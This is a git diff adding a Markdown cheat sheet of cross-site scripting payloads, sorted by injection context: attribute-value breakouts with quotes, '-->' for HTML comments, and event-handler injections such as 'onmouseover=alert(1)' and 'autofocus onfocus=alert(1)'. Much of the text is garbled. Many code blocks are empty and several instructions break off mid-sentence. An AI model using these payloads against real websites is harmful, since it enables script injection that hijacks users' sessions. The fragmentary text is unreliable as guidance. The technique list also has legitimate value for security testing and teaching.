diff --git a/XSS.md b/XSS.md new file mode 100644 index 0000000..2f8e976 --- /dev/null +++ b/XSS.md @@ -0,0 +1,65 @@ +# XSS Payloads +1. Basic payload +```html + + + +``` + +2. Add ' or " to escape the payload from value of an HTML tag +```html +"> +'> +``` + +* Example source code +```html + +``` + +3. Add --> to escape the payload if input lands in HTML comments. +```html +--> +``` + +* Example source code +```html + +``` + +4. Add when the input inside or between opening/closing tags, tag can be , and any other HTML tags +```html + +"> +``` + +* Example source code +```html +1 +``` + +5. Use when input inside an attribute’s value of an HTML tag but > is filtered +```html +"onmouseover=alert(1) +"autofocus onfocus=alert(1) +``` + +* Example source code +```html + +``` + +6. Use when input inside +``` + +* Example source code +```html + +``` + + +*Will be updated again!